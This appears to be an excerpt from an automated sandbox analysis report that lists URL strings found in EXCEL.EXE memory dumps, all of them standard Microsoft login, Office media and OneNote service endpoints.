Source: EXCEL.EXE, EXCEL.EXE, 00000000.00000003.656171574.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656420136.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.887182746.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829507142.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.975433720.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843028954.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712989878.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843831700.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844821689.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728814839.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.791886378.0000000012A88000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
Source: EXCEL.EXE, 00000000.00000002.980136152.000000000D3AC000.00000004.00000001.sdmp String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=FlickrMBI_SSL_SHORTssl.
Source: EXCEL.EXE, 00000000.00000003.830019835.000000000F1AC000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.887114579.000000000F1AC000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792860605.000000000F1AC000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844384510.000000000F1AC000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.976497308.000000000F1AC000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.846187037.000000000F1AC000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.847870583.000000000F1AC000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.831076747.000000000F1AC000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728160281.000000000F1AC000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843428711.000000000F1AC000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
Source: EXCEL.EXE, 00000000.00000002.980136152.000000000D3AC000.00000004.00000001.sdmp String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDriveMBI_SSL_SHORTssl.
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
Source: EXCEL.EXE, 00000000.00000002.980136152.000000000D3AC000.00000004.00000001.sdmp String found in binary or memory: https://insertmedia.bing.office.net/odc/insertmediaMBI_SSL_SHORTofficeapps.
Source: EXCEL.EXE, EXCEL.EXE, 00000000.00000003.656171574.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656420136.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.887182746.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829507142.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.975433720.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843028954.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712989878.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843831700.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844821689.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728814839.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.791886378.0000000012A88000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
Source: EXCEL.EXE, 00000000.00000003.656171574.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656420136.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.887182746.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829507142.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.975433720.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843028954.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712989878.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843831700.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844821689.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728814839.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.791886378.0000000012A88000.00000004.00000001.sdmp String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech44
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://lifecycle.office.com
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://lifecycle.office.com3
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://lifecycle.office.comP
Source: EXCEL.EXE, 00000000.00000002.984227216.0000000015285000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.727806022.000000001528A000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.713085961.000000001528A000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.830832158.0000000015285000.00000004.00000001.sdmp String found in binary or memory: https://login.live.com
Source: EXCEL.EXE, 00000000.00000003.792419093.0000000012A23000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656113776.0000000012A2F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.886851258.0000000012A13000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829883976.0000000012A13000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.842980218.0000000012A13000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728506712.0000000012A23000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.982109381.0000000012A2F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843787373.0000000012A13000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.975647498.0000000012A2B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712940774.0000000012A23000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.847529633.0000000012A13000.00000004.00000001.sdmp String found in binary or memory: https://login.m
Source: EXCEL.EXE, 00000000.00000003.792419093.0000000012A23000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656113776.0000000012A2F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.886851258.0000000012A13000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829883976.0000000012A13000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.842980218.0000000012A13000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728506712.0000000012A23000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.982109381.0000000012A2F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843787373.0000000012A13000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.975647498.0000000012A2B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712940774.0000000012A23000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.847529633.0000000012A13000.00000004.00000001.sdmp String found in binary or memory: https://login.mcro
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://login.microsoftonline.com/
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://login.microsoftonline.com/z
Source: EXCEL.EXE, 00000000.00000003.656113776.0000000012A2F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712940774.0000000012A23000.00000004.00000001.sdmp String found in binary or memory: https://login.wind
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://login.windows.local
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.localtesF
Source: EXCEL.EXE, EXCEL.EXE, 00000000.00000003.656113776.0000000012A2F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728506712.0000000012A23000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712940774.0000000012A23000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
Source: EXCEL.EXE, 00000000.00000003.656171574.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656420136.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.887182746.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829507142.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.975433720.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843028954.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712989878.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843831700.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844821689.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728814839.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.791886378.0000000012A88000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize_3
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://login.windows.net/common/oauth2/authorize
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorize#
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorize&
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorize&WP
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorize(
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorize.
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorize0
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorize5
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorize6X
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorize7YG
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorize8
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorize:UL
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorize;
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorize;Vs
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeCZ
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeD
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeDW
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeF
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeFU
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeG
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeH
